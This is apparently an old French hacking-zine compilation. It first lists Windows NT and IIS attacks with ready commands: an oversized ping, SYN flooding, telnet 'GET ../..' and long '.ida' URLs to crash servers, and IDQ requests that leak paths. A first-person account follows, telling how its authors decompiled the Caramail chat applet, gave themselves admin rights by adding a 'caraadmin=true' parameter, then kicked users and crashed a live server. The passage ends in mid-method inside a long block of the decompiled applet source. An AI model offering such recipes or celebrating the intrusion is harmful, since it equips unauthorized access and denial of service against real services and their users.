 
 

   Il y a de multiples manières d'attaquer un système WindowsNT, on va en énumérer quelques-unes et les expliquer.

MS Office 7.0:
- Par MS Office 7.0 sur Windows NT 3.51
 

Attaques distantes:
- Ping of the Death (nom véritable!)
- Attaques SYN
- GET ../.. pour serveurs IIS (pas la v5.0)
- Nbtstat
- Restrictions aux registre
- .reg
- DoS pour IIS 5.0
- IDQ sur les serveurs IIS

   Cette liste est non exhaustive et placer une liste de toutes les failles des serveurs IIS la rendrait plus importante. Mais on s'intéresse plus au système qu'au serveur.
 

• MS Office 7.0 pose un problème sur les plates-formes NT v.3.51: en effet lancé depuis la barre des raccourcis il permet à l'utilisateur d'accéder à des répertoires auxquels il n'a normalement pas le droit d'avoir accès.

• Ping of the Death, ce type de ping permet d'afficher une fenêtre bleue "de la mort" si le ping est façonné comme ceci: PING -l 65527 -s 1 cible ; les serveurs NT 3.51 sont concernés, mais les serveurs NT 4.0 ne sont sensibles qu'à l'envoi de grosses trames, pas lors de leur reception.
• Attaques SYN: le problème se définir en plusieurs étapes
1. De nombreuses tentatives de connections TCP sont envoyées (requêtes SYN) avec une IP non trouvable (ça envoye, ça envoye et ensuite l'envoyeur se déconnecte, par exemple)
2. A la reception des tentatives des tentatives de connection le systeme va attribuer des ressources pour établir une connection vers une cible (l'envoyeur) qui n'existe pas.
3. Un problème de configurations sur NT 3.5x et 4.0 fait que la cible va essayer de répondre 5 fois à chaque requêtes SYN par une rquête sde type SYN/ACK (pour établir aussi la connection à l'autre bout), à 3, 6, 12, 24 et 48 secondes. Apres retransmission le systeme met 96 secondes pour désatribuer les ressouces, et autres opérations. EN tout celà fait 189 secondes d'écoulées. Ce qui peut aboutir à ce message d'erreur: "The connection has been reset by the remote host.", ce qui est assez contraignant. Pour s'en rendre compte:
C:/> netstat -n -p tcp

Active Connections
 

Proto  TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP

Local Address 127.0.0.1:1026 127.0.0.1:1028 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100 210.57.8.90:2100

Foreign Address 127.0.0.1:1026 127.0.0.1:1028 10.57.14.154:1256 10.57.14.154:1257 10.57.14.154:1258 10.57.14.154:1259 10.57.14.154:1260 10.57.14.154:1261 10.57.14.154:1262 10.57.14.154:1263 10.57.14.154:1264 10.57.14.154:1265 10.57.14.154:1266

State ESTABLISHED ESTABLISHED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED

• GET ../.. est une commande qui entrée sur les serveurs IIS 4.0 créé une erreur avec une fenêtre d'alerte windows: la démarche est simpel, connectez vous avec telnet sur le port 80 (donc HTTP) de la cible et tapez "GET ../.." , si le serveur n'est pas patché, il crashe.
• R.A.S. pour les commandes de type Nbtstat
• Sur les versions 3.5, 3.51, et 4.0 de W.NT il est possible d'accéder au registre du système. Sur NT 4.0 la ligne existe déjà, cette ligne c'est: <HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\Winreg>

Et si cette clef n'existe pas, les sessions distantes sur le serveur ne sont pas restreintes.
• N'importe qui peut écrire sur un fichier NT avec un .reg avec les privilèges utilisateur actuels en ouverture. c'est une action pour les .reg avec File Explorer, le registre par défaut autorise au groupe "everyone" d'accéder à de nombreeuses parties du registre.
• TOUS LES SERVEURS ISS JUSQU'A LA VERSION 5 SONT SENSIBLES AU PROBLEME QUI VA SUIVRE:

Les personnes mettant un url de type http://www.url.com/......[25 kb de "..."]...ida peut afficher:
1. URL string is too long
2. Cannot find the specified path
3. d'autres choses dans le genre
Dans le cas ou l'attaque marche il y a un message de "violation d'acces" causant le crash du serveur, ou révèle une architecture de répertoires (?).
• Les serveurs IIS peuvent être utilisés pour révéler les répertoires des fichiers d'un site (où ils résident sur un disque dur!) en demandant un fichier de type IDQ/IDA qui n'existe pas.IIS 5.0 et autres sont sensibles à ce problème:

Il suffit de demander un url de type:
1. http://www.microsoft.com/qqch.ida
2. http://www.microsoft.com/qqch.idq

A noter que le serveur microsoft.com tourne en effet sous IIS 5.0
Vous recevrez une réponse du genre: "'The IDQ d:\http\anything.idq could not be found" et après cette réponse l'attaquant distant pourrait avoir un accès authorisé à l'architecture du site et à des infos sur l'organisation du site.

"Nous avons put assister mardi 18 janvier un peu avant minuit en direct au piratage de chat de caramail, rappelons que caramail est un des principaux "hebergeur" d'e-mails gratuit de france.
Il est minuit, je discute tranquillement dans je ne sais plus quel chat empli de seniles juveniles, quand que vois-je INFOS CARAMAIL s'allumer. Ignorant tout d'abord la chose, j'y jette un coup d'oeil quand .... que vois je quelques phrases imcomprehensibles.....

On aurait put tout d'abord croire a je ne sais quel test de l'equipe caramail, mais non , il s'agit bien d'un hack et en direct en plus. Les "hackers" ont commencé a discuter entre eu sur le canal info caramail, en oubliant pas d'insulter l'admin et de virer de ci de la quelques salons ou connectés.
La suite, fut quand meme quelque peu puerile et decousue a noter un salon hackers ou on essayait de s'attirer les faveurs des "grands pirates" :)) et ou l'on se faisait deconnecter moyennant insultes , (comme quoi faut pas faire le fayot :))))) .. , vous decouvrirez tout ca en image ci-dessous.
Voila comme quoi nos mails sont bien gardés, merci caramail :)
Crazy JEFF. <mailto:crazy.jeff@caramail.com>"
Source: Zataz.com
 
 
 

I)Comment on a fait :)

Tout d'abord , je me permet d'ecrire ceci , car je suis un des touts premiers avec Gyzmo a avoir trouver la faille, les autres ont ete plus long a trouve , et ont eu le programme pour decompiler grace a nous ... (donc no problems)
Bon , tout a commencé une bonne semaine avant, j'ai vu avec un ami une personne se connecter en rouge , et cela nousa intrigué !
On a voulu etudier le chat plus en profondeur , tout d'abord en mode html , et ensuite
java ... En regardant bien , quand on se connecte sur le chat caramail , on voit qu'un fichier class est chargé (couleur grise caracteristique du java) ... on s'est dit on va recuperer le fichier class et etudier tout ca de plus pres !
On a commence a l'editer en hexadecimal , pour voir un peu ce qu'il y avait dedans , mais ce n'est pas genial l'ascii !
Ayant deja fait du java reversing (www.acidburn2000.com ,  j'explique comment casser des  protections java) je me suis dis , je vais decompiler le fichier class du chat !!

1er probleme: trouver le fichier class !

En version java , il faut deja pourvoir editer les sources , on s'est demande 2 mins comment recuperer les sources qui appel l'applet java...
Si on click droit sur des parties du chat , il ne se passe rien, putain !!
Mais en fait , sur les bords de la fenetre du chat (bordure tres fine en noir , c de l'html) je fou un click droit et miracle, le menu apparait , on peut donc editer les sources , on fait afficher le fichier source ( pour IE) ou afficher source du cadre (pour netscape) ...
On copie tout ce petit code a la con dans un ficher html !
Le code resemble a ca :

------------------------------- debut du source html ----------------------------------------

<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white; background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica; }P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica; font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160" archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM name="tempid" value="XXXXXXX">
<PARAM name="room0" value="Informatique">
<PARAM name="sex" value="1"><PARAM name="age" value="2600">
<PARAM name="city" value="Caramail H4x0r3d">
<table width="100%" height="448" border="1" cellspacing="0" cellpadding="4">
<tr><td>Votre navigateur n'est pas configur&eacute; pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un navigateur r&eacute;cent (version 3, 4 ou sup&eacute;rieure), veuillez v&eacute;rifier que JAVA est bien interpr&eacute;t&eacute;. Pour cela allez dans les pr&eacute;f&eacute;rences de votre navigateur puis :<ul>
<li>cochez les cases relatives &agrave; JAVA,</li>
<li>quittez,</li><li>red&eacute;marrez votre navigateur.</li></ul></td>
</tr></table></APPLET></center></body></html>
 

--------------------------------- fin du source html ----------------------------------------
 
 

Bon , quelques petites explications :)
On voit l'initialisation de l'applet a l'adresse "http://195.68.99.160" il ouvre une archive "jar" et on voit aussi "CaraNewChat.class" ...
Bon, deja notre petit guy est la !! On s'empresse de recuperer le fichier class , pour cela , rien de plus simple on lance une session internet explorer et on entre comme addresse: "http://195.68.99.160/CaraNewChat.class"
Voila , et hope la , on est en train de telechargez le fichier class , bref rien de dur et deja , il y a bcp bcp de mondes qui ont bloques sur ces parties mdr :) Avant de continuez, je vais vous expliquez 2,3 trucs sur cette source encore :

- <PARAM name="port" value="6666">   == le port utilisé est le port 6666
on voit qu'il se sert des param name et value pour recuperer toutes ces valeurs !
Ne pas oublier ca , on va s'en servir bientot !!

- <PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX">

bon , normalement les X sont des chiffres et des lettres, c'est notre pseudo qui est sous forme crypter ( crypter par RSA avec une clef d'environ 40 bits) il n'y auras pas eu de cryptage , il aurait suffit d'entrer un nom a la con dans value et ca aurait ete notre pseudo sur le chat ! on aurait donc pu piquer le pseudo de n'importe qui , Caramail a securise cette partie depuis un moment maintenant , mais cela n'a pas toujours ete comme ca !

bon , vous avez compris le princie des "Param name" et des "value" :) il y a ensuite l'age , la ville , le sex ....

Bon , passons a la suite, on a notre fichier class , on voit pas bien en hexa decimal ! Si vous avez jetez un oeil a mon cours sur comment cracker des protections java , vous allez me dire , on decompile l'applet !!
Exactement , on utilise un programme nommé "JAD" comment s'en servir ? on balance le fichier class dessus , et il nous sort un joli fichier *.jad , qui si ont a pas dis ou il doit etre decompile , il doit se trouver dans le repertoire windows a present!
Caranewchat.jad donc :) je joins le fichier dans l'archive , ca fait plus de 90 ko !! alors le foutre dans le cours directe, ca foutrait mechamment le bordel !! hehe

cela se presente comme ca si on edit avec le wordpad:
 

// Decompiled by Jad v1.5.7. Copyright 1997-99 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name:   CaraNewChat.java

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

..........

bref , c'est le debut , on va chercher dans le source ce qui peut etre interressant !!
Et un peu plus loin , on arrive a un code assez interressant :
 

 private void a238()
    {
        if((a77 = getParameter("id")) == null)              <-- parametre de l'ID
            a77 = "*";
        if((a78 = getParameter("pseudo")) == null)  <-- parametre du pseudo
            return;
        if((a83 = getParameter("room0")) == null)           <-- parametre du salon
        {
            if((a83 = getParameter("room1")) == null)
            {
                a83 = "divers";
                a103 = 0;
            }
            else
            {
                a103 = 1;
            }
        }
        else
        {
            a103 = 0;
        }
        if((a84 = getParameter("tempid")) == null)     <-- parametre de l'ID encore
            return;
        String s;
        if((s = getParameter("caraadmin")) != null)    <-- parametre admin ?? what is that !
            a94 = s.toUpperCase().equals("TRUE");
        if((s = getParameter("proxy")) != null)
            a95 = s.toUpperCase().equals("TRUE");
        if((s = getParameter("port")) == null)        <-- parametre du port
            a70 = 6666;                               <-- valeur 6666  :))
        else
 
 
 

Bon , on voit un certain 'caraadmin' , caramail adminsitrateur donc ! Si on regarde pour le port , on voit la valeur 6666 , mais pour proxy c'est du boolean True ou false ( vrai ou faux) ! donc , ca definis si on a un proxy !! et moi et gyzmo on s'est dis si on mettait la valeur admin caramail en TRUE , ca passerais peut etre !! (commencez pas a vous dire putain ct trop simple car bcp de mondes a echouez ici , alors les gentils 'petits hackers' , c pas la peine se la jouer)

A ce moment la , on reedit le fichier html et on va ou il y a tout les parametres !! et on ajoute un PARAM admin  , avec une valeur true :)
cela donne ca : <PARAM name="caraadmin" value="true">

On ajoute ceci dans notre source , on a un truc comme ca maintenant :
 

------------------------------- debut du source html ----------------------------------------

<html><head><title>Caramail - CaraChat</title>
<style type="text/css">BODY { color: white; background: black; font-size: 8pt; font-family: ms sans serif, Arial, Helvetica; }P, TD, TH { color: white; font-family: ms sans serif, Arial, Helvetica; font-size: 8pt }</style></head>
<body><center><APPLET codebase="http://195.68.99.160" archive="CaraNewChat.jar" code="CaraNewChat.class" height="448" width="780"><PARAM name="cabbase" value="CaraNewChat.cab"><PARAM name="port" value="6666"><PARAM name="pseudo" value="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"><PARAM name="tempid" value="XXXXXXX">
<PARAM name="caraadmin" value="true">
<PARAM name="room0" value="Informatique"><PARAM name="sex" value="1">
<PARAM name="age" value="2600"><PARAM name="city" value="Caramail H4x0r3d">
<table width="100%" height="448" border="1" cellspacing="0" cellpadding="4"><tr>
<td>Votre navigateur n'est pas configur&eacute; pour supporter JAVA. Toutefois rien n'est perdu ! Si vous disposez d'un navigateur r&eacute;cent (version 3, 4 ou sup&eacute;rieure), veuillez v&eacute;rifier que JAVA est bien interpr&eacute;t&eacute;. Pour cela allez dans les pr&eacute;f&eacute;rences de votre navigateur puis :<ul><li>cochez les cases relatives &agrave; JAVA,</li><li>quittez,</li>
<li>red&eacute;marrez votre navigateur.</li></ul></td></tr></table></APPLET>
</center></body></html>
 

--------------------------------- fin du source html ----------------------------------------
 

On enregistre tout ca , et hope la , on relance le fichier et on se connecte direcement sur le chat ! sans passer par votre boite aux lettres! MDR !
Et essayer de parler , ohhhhhhhh miracle , on etait tout rouge lol !! Mais bon , on voit des boutons jaunes ( corbeille , expuler et dans info caramail invisible , et envoyer des messages a tout les connectes)
On se dit c'est trop cool on va delirer !! Putain la haine les boutons ne marchent pas :(
on a passe qq jours a etudier les sources de long en larges , la limitation vient du serveur ARGG !
Plusieurs jours passent , apres avoir decompiler l'applet pour des amis , ou a voir donner le programme a des copains , on se retrouve maintenant a une dizaine de "rouges" On a passe notre temps a tracer les ports caramail , etudier les sources , et parler entre nous on avait penser a recompiler notre chat , et l'utiliser en interne ! Mais Mardi soir , il est environ 23h10 quand un de notre groupe essai de changer les serveurs ou on se connecte pour chater !
Et la putain , caramail avait fait un sois disant 'oublis' lol !! en changeaont l'ip dans le fichier html en "http://chat5.caramail.com" on se retrouvait sur une serveur ayant toutes les commandes actives , et de la notre folle soiree commence ! On commence a taper la discutte dans 'Infos caramail' devant plus de 3000 connectes !! Vous pourez voir les screenshots joints avec ce petit texte ! Ensuite , je part me ballader dans le salon "<<< hacker >>>" et commence a delirer tout en kickant les petits cons qui faisait chier le monde , sur les photos on voit 6yohann6 et moi en train de kicker du monde ! hehehe On a aussi Gicler les salons racistes , FN , pedophiles ... J'ai kicker 2 , 3 salons de ce type , et mes amis ne sont pas gene non plus !!!
Bref , une folle soiree , ensuite le VRAI admin caramail s'amene sur les salons et relevent nos noms , il pouvait pas nous kicker car on peut pas kicker un admin hehehe :) il nous a dis qu'il allait virer nos boites , mais finis pas nous dire , qu'il n'a pas que
ca a faire , ce que je comprends tout a fait ,et rien de nous empecherais de faire un autre compte caramail ...... Bref , a force de jouer , On a plante le serveur , et qd Arnaud a repare , il avait desactiver toutes les commandes admin , car c'etait la seule facon , il pouvait rien nous faire d'autre perdant ainsi ses commandes lui aussi :))
Voila , en gros comment ca c'est passe , on a garde notre couleur et depuis hier Vendredi il a corrige les failles sur le site !

J'en profite pour passer un mot en faveur d' Arnaud , je tiens a preciser qu'il a fait un tres bon boulot , et que quand , je vois tout les petits cons dans le salon hacker qui se la joue Kevin Mitnick et qui savent meme pas editer les sources d'un fichier html (Note de Clad S.: Socket 2.3 et eux, ça fait une seule personne! ^_^)
et ensuite se permettent d'insulter l'admin qui a tres bien bosser , avec l'equipte caramail pour nous donner un chat , qui malgre les plantages , et quand meme nettement superieur aux autres chat sur le net ..
Imaginez un peu le boulot avant de l'ouvrir et de l'insulter.... je ne dis qu'une chose , bonne continuation man ;-)
 

Auteur: ACiD BuRN (aka _tigger)
 

Greetings goes to:

Toute l'equipe True admin avec qui on a bien delirer mardi soir !!
et un special greets a Gyzmo, on a trouve ensemble :)
salutation a touts mes amis sur caramail ( trop long a lister) et un remerciment a Arnaud pour son bon boulot !
et enfin a Clad Strife mon pote, ainsi que Decayer, du HKWD Clan !

Voilà le code source de caraNewChat.jad:

// Decompiled by Jad v1.5.7. Copyright 1997-99 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name:   CaraNewChat.java

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

public class CaraNewChat extends Applet
    implements Runnable
{

    public CaraNewChat()
    {
        a72 = 4096;
        a73 = "";
        a79 = "";
        a80 = "";
        a81 = "";
        a94 = false;
        a95 = false;
        run = true;
        a97 = false;
        a98 = false;
        a99 = null;
        insets = new Insets(0, 2, 0, 2);
        a131 = new Panel();
        a132 = new Panel();
        a133 = new Panel();
        a134 = new Panel();
        a135 = new Panel();
        a136 = new Panel();
        a137 = new LightScrollbar(1);
        a138 = new LightScrollbar(1);
        a152 = new Panel[20];
        a153 = new Panel[20];
        a154 = new Panel[20];
        a155 = new Panel[20];
        a156 = new LightScrollbar[20];
        a157 = new CaraTrucCanvas[20];
        a158 = new CaraLabelPanel[20];
        a159 = new Button[20];
        a160 = new Button[20];
        a161 = new Button[20];
        a162 = new TextField[20];
        a163 = new Choice[20];
        a164 = new Choice[20];
        a165 = new Button[20];
        a166 = new String[20];
        a167 = new String[20];
        a168 = new boolean[20];
        a169 = new String[20];
        a170 = new String[20];
        a171 = new String[20];
        a172 = new LightScrollbar(1);
        a173 = new LightScrollbar(1);
        a176 = new Panel();
        a177 = new Panel();
        a178 = new Panel();
        a179 = new Panel();
        a180 = new TextField();
        a184 = new Panel();
        a185 = new Panel();
        a186 = new Panel();
        a187 = new Panel();
        a188 = new Panel();
        a189 = new Panel();
        a190 = new Panel();
        a191 = new Panel();
        a195 = new LightScrollbar(1);
        a202 = new Checkbox[3];
        a203 = new CheckboxGroup();
        a207 = new Label("");
        a208 = new TextField();
        a209 = new TextField();
        a210 = new Panel();
        a211 = new Panel();
        a212 = new Panel();
        a213 = new Panel();
        a214 = new Panel();
        a215 = new Panel();
        a216 = new Panel();
        a219 = new Label("");
        a220 = new Label("");
        a226 = new LightScrollbar(1);
        a233 = new TextField();
        a234 = new Choice();
        a235 = new Choice();
        a236 = new Choice();
        a237 = new Choice();
    }

    private void a238()
    {
        if((a77 = getParameter("id")) == null)
            a77 = "*";
        if((a78 = getParameter("pseudo")) == null)
            return;
        if((a83 = getParameter("room0")) == null)
        {
            if((a83 = getParameter("room1")) == null)
            {
                a83 = "divers";
                a103 = 0;
            }
            else
            {
                a103 = 1;
            }
        }
        else
        {
            a103 = 0;
        }
        if((a84 = getParameter("tempid")) == null)
            return;
        String s;
        if((s = getParameter("caraadmin")) != null)
            a94 = s.toUpperCase().equals("TRUE");
        if((s = getParameter("proxy")) != null)
            a95 = s.toUpperCase().equals("TRUE");
        if((s = getParameter("port")) == null)
            a70 = 6666;
        else
            try
            {
                a70 = Integer.parseInt(s);
            }
            catch(NumberFormatException _ex)
            {
                a70 = 6666;
            }
        if((s = getParameter("httpport")) == null)
            a71 = 80;
        else
            try
            {
                a71 = Integer.parseInt(s);
            }
            catch(NumberFormatException _ex)
            {
                a71 = 80;
            }
        if((s = getParameter("AGE")) != null && !s.trim().equals(""))
            a74 = s;
        else
            a74 = "?";
        if((s = getParameter("SEX")) != null && !s.trim().equals(""))
            a75 = s;
        else
            a75 = "?";
        if((s = getParameter("CITY")) != null && !s.trim().equals(""))
            a76 = s;
        else
            a76 = "?";
        if((s = getParameter("domain")) != null)
            a111 = s.toLowerCase();
        else
            a111 = "com";
    }

    private void a239()
    {
        a124 = new CaraTrucCanvas(a226, 2000, true, true, "", "Helvetica", 10, 2, 4, a111, true, true, " - ", 2, 1);
        a125 = new CaraTrucCanvas(a195, 2000, true, false, "8", "Helvetica", 10, 2, 4, a111, false, false, "", 2, -1);
        a126 = new CaraTrucCanvas(a172, 40, false, false, "", "Helvetica", 10, 2, 4, a111, false, false, "", 0, -1);
        a127 = new CaraTrucCanvas(a173, 2000, false, false, "", "Helvetica", 10, 2, 4, a111, false, false, "", 1, -1);
        a128 = new CaraTrucCanvas(a138, 40, true, true, "41", "Helvetica", 10, 2, 4, a111, true, true, "", 2, 1);
        a129 = new CaraTrucCanvas(a137, 40, false, true, "", "Helvetica", 10, 2, 4, a111, false, false, "", 0, -1);
        a139 = new CaraLabelPanel("Membres du salon");
        a140 = new CaraLabelPanel("Dialogue");
        a141 = new Button("Ignorer");
        a142 = new Button("Envoyer");
        a143 = new Button("Dialoguer");
        a145 = new Button("Rafra\356chir");
        a144 = new Button("Corbeille");
        a146 = new Label("");
        a147 = new Label("");
        a148 = new TextField();
        a149 = new Checkbox("Message priv\351");
        a150 = new Choice();
        a151 = new Choice();
        a136 = new Panel();
        a134.setLayout(new BorderLayout(0, 0));
        a134.add("Center", a129);
        a134.add("East", a137);
        a135.setLayout(new BorderLayout(0, 0));
        a135.add("Center", a128);
        a135.add("East", a138);
        GridBagLayout gridbaglayout = new GridBagLayout();
        a132.setLayout(gridbaglayout);
        GridBagConstraints gridbagconstraints = new GridBagConstraints();
        gridbagconstraints.gridx = 0;
        gridbagconstraints.gridy = 0;
        gridbagconstraints.gridwidth = 3;
        gridbagconstraints.weightx = 3D;
        gridbagconstraints.weighty = 1.0D;
        gridbagconstraints.fill = 1;
        gridbagconstraints.insets.top = 4;
        gridbagconstraints.insets.left = 4;
        gridbagconstraints.insets.bottom = 4;
        gridbagconstraints.insets.right = 4;
        gridbaglayout.setConstraints(a135, gridbagconstraints);
        a132.add(a135);
        gridbagconstraints.gridy = 1;
        gridbagconstraints.weighty = 0.0D;
        gridbagconstraints.fill = 2;
        gridbaglayout.setConstraints(a147, gridbagconstraints);
        a132.add(a147);
        gridbagconstraints.gridy = 2;
        gridbagconstraints.gridwidth = 1;
        gridbagconstraints.weightx = 1.0D;
        gridbaglayout.setConstraints(a141, gridbagconstraints);
        a132.add(a141);
        gridbagconstraints.gridx = 1;
        gridbaglayout.setConstraints(a143, gridbagconstraints);
        a132.add(a143);
        gridbagconstraints.gridx = 2;
        gridbaglayout.setConstraints(a145, gridbagconstraints);
        a132.add(a145);
        a150.addItem("Noir");
        a150.addItem("Bleu");
        a150.addItem("Rouge");
        a150.addItem("Rose");
        a150.addItem("Orange");
        a150.addItem("Gris");
        a150.addItem("Bleu nuit");
        a150.addItem("Bordeaux");
        a150.addItem("Vert");
        a150.addItem("Mauve");
        a150.addItem("Or");
        a151.addItem("Parler");
        a151.addItem("Murmurer");
        a151.addItem("Hurler");
        a140.setLayout(new BorderLayout(0, 8));
        GridBagLayout gridbaglayout1 = new GridBagLayout();
        a133.setLayout(gridbaglayout1);
        GridBagConstraints gridbagconstraints1 = new GridBagConstraints();
        gridbagconstraints1.gridx = 0;
        gridbagconstraints1.gridy = 0;
        gridbagconstraints1.gridwidth = 6;
        gridbagconstraints1.weightx = 1.0D;
        gridbagconstraints1.weighty = 1.0D;
        gridbagconstraints1.fill = 1;
        gridbagconstraints1.insets.top = 4;
        gridbagconstraints1.insets.left = 4;
        gridbagconstraints1.insets.bottom = 4;
        gridbagconstraints1.insets.right = 4;
        gridbaglayout1.setConstraints(a134, gridbagconstraints1);
        a133.add(a134);
        gridbagconstraints1.gridy = 1;
        gridbagconstraints1.weighty = 0.0D;
        gridbagconstraints1.fill = 2;
        gridbaglayout1.setConstraints(a146, gridbagconstraints1);
        a133.add(a146);
        gridbagconstraints1.gridx = 0;
        gridbagconstraints1.gridy = 2;
        gridbagconstraints1.gridwidth = 1;
        gridbagconstraints1.weightx = 0.0D;
        gridbaglayout1.setConstraints(a149, gridbagconstraints1);
        a133.add(a149);
        gridbagconstraints1.gridx = 1;
        gridbagconstraints1.gridwidth = 5;
        gridbaglayout1.setConstraints(a148, gridbagconstraints1);
        a133.add(a148);
        gridbagconstraints1.gridx = 0;
        gridbagconstraints1.gridy = 3;
        gridbagconstraints1.gridwidth = 1;
        gridbaglayout1.setConstraints(a150, gridbagconstraints1);
        a133.add(a150);
        gridbagconstraints1.gridx = 1;
        gridbaglayout1.setConstraints(a151, gridbagconstraints1);
        a133.add(a151);
        if(!a94)
        {
            gridbagconstraints1.gridx = 2;
            gridbagconstraints1.gridwidth = 3;
            gridbagconstraints1.weightx = 1.0D;
            gridbaglayout1.setConstraints(a136, gridbagconstraints1);
            a133.add(a136);
        }
        else
        {
            gridbagconstraints1.gridx = 2;
            gridbagconstraints1.gridwidth = 2;
            gridbagconstraints1.weightx = 1.0D;
            gridbaglayout1.setConstraints(a136, gridbagconstraints1);
            a133.add(a136);
            gridbagconstraints1.gridx = 4;
            gridbagconstraints1.weightx = 0.0D;
            gridbagconstraints1.gridwidth = 1;
            gridbaglayout1.setConstraints(a144, gridbagconstraints1);
            a133.add(a144);
            a144.setBackground(Color.orange);
        }
        gridbagconstraints1.gridwidth = 1;
        gridbagconstraints1.weightx = 0.0D;
        gridbagconstraints1.gridx = 5;
        gridbaglayout1.setConstraints(a142, gridbagconstraints1);
        a133.add(a142);
        a140.setLayout(new BorderLayout(0, 0));
        a140.add("Center", a133);
        a139.setLayout(new BorderLayout(0, 0));
        a139.add("Center", a132);
        GridBagLayout gridbaglayout2 = new GridBagLayout();
        a131.setLayout(gridbaglayout2);
        GridBagConstraints gridbagconstraints2 = new GridBagConstraints();
        gridbagconstraints2.gridx = 0;
        gridbagconstraints2.gridy = 0;
        gridbagconstraints2.gridheight = 1;
        gridbagconstraints2.gridwidth = 1;
        gridbagconstraints2.weightx = 3D;
        gridbagconstraints2.weighty = 1.0D;
        gridbagconstraints2.fill = 1;
        gridbagconstraints2.insets.top = 4;
        gridbagconstraints2.insets.left = 4;
        gridbagconstraints2.insets.bottom = 4;
        gridbagconstraints2.insets.right = 4;
        gridbaglayout2.setConstraints(a140, gridbagconstraints2);
        a131.add(a140);
        gridbagconstraints2.gridx = 1;
        gridbagconstraints2.weightx = 1.0D;
        gridbaglayout2.setConstraints(a139, gridbagconstraints2);
        a131.add(a139);
        a183 = new Checkbox("Invisible");
        a182 = new Button("Envoyer");
        a181 = new Label("Message g\351n\351ral :");
        a182.setBackground(Color.orange);
        a176.setLayout(new BorderLayout(0, 0));
        a176.add("Center", a126);
        a176.add("East", a172);
        a177.setLayout(new BorderLayout(0, 0));
        a177.add("Center", a127);
        a177.add("East", a173);
        a175 = new CaraLabelPanel("Aide");
        GridBagLayout gridbaglayout3 = new GridBagLayout();
        a175.setLayout(gridbaglayout3);
        GridBagConstraints gridbagconstraints3 = new GridBagConstraints();
        gridbagconstraints3.gridx = 0;
        gridbagconstraints3.gridy = 0;
        gridbagconstraints3.gridwidth = 3;
        gridbagconstraints3.weightx = 1.0D;
        gridbagconstraints3.weighty = 1.0D;
        gridbagconstraints3.fill = 1;
        gridbagconstraints3.insets.top = 4;
        gridbagconstraints3.insets.left = 4;
        gridbagconstraints3.insets.bottom = 4;
        gridbagconstraints3.insets.right = 4;
        gridbaglayout3.setConstraints(a177, gridbagconstraints3);
        a175.add(a177);
        GridBagLayout gridbaglayout4 = new GridBagLayout();
        a179.setLayout(gridbaglayout4);
        GridBagConstraints gridbagconstraints4 = new GridBagConstraints();
        gridbagconstraints4.gridx = 0;
        gridbagconstraints4.gridy = 0;
        gridbagconstraints4.gridwidth = 4;
        gridbagconstraints4.weightx = 1.0D;
        gridbagconstraints4.weighty = 1.0D;
        gridbagconstraints4.fill = 1;
        gridbagconstraints4.insets.top = 4;
        gridbagconstraints4.insets.left = 4;
        gridbagconstraints4.insets.bottom = 4;
        gridbagconstraints4.insets.right = 4;
        gridbaglayout4.setConstraints(a176, gridbagconstraints4);
        a179.add(a176);
        if(a94)
        {
            gridbagconstraints4.gridx = 0;
            gridbagconstraints4.gridy = 1;
            gridbagconstraints4.gridwidth = 1;
            gridbagconstraints4.weightx = 0.0D;
            gridbagconstraints4.weighty = 0.0D;
            gridbaglayout4.setConstraints(a181, gridbagconstraints4);
            a179.add(a181);
            gridbagconstraints4.gridx = 1;
            gridbagconstraints4.weightx = 1.0D;
            gridbaglayout4.setConstraints(a180, gridbagconstraints4);
            a179.add(a180);
            gridbagconstraints4.gridx = 2;
            gridbagconstraints4.weightx = 0.0D;
            gridbaglayout4.setConstraints(a182, gridbagconstraints4);
            a179.add(a182);
            gridbagconstraints4.gridx = 3;
            gridbaglayout4.setConstraints(a183, gridbagconstraints4);
            a179.add(a183);
        }
        a174 = new CaraLabelPanel("Listes des messages");
        a174.setLayout(new BorderLayout(8, 8));
        a174.add("Center", a179);
        GridBagLayout gridbaglayout5 = new GridBagLayout();
        a178.setLayout(gridbaglayout5);
        GridBagConstraints gridbagconstraints5 = new GridBagConstraints();
        gridbagconstraints5.gridx = 0;
        gridbagconstraints5.gridy = 0;
        gridbagconstraints5.gridheight = 1;
        gridbagconstraints5.gridwidth = 1;
        gridbagconstraints5.weightx = 1.0D;
        gridbagconstraints5.weighty = 1.0D;
        gridbagconstraints5.fill = 1;
        gridbagconstraints5.insets.top = 4;
        gridbagconstraints5.insets.left = 4;
        gridbagconstraints5.insets.bottom = 4;
        gridbagconstraints5.insets.right = 4;
        gridbaglayout5.setConstraints(a174, gridbagconstraints5);
        a178.add(a174);
        if(!a94)
        {
            gridbagconstraints5.gridx = 1;
            gridbaglayout5.setConstraints(a175, gridbagconstraints5);
            a178.add(a175);
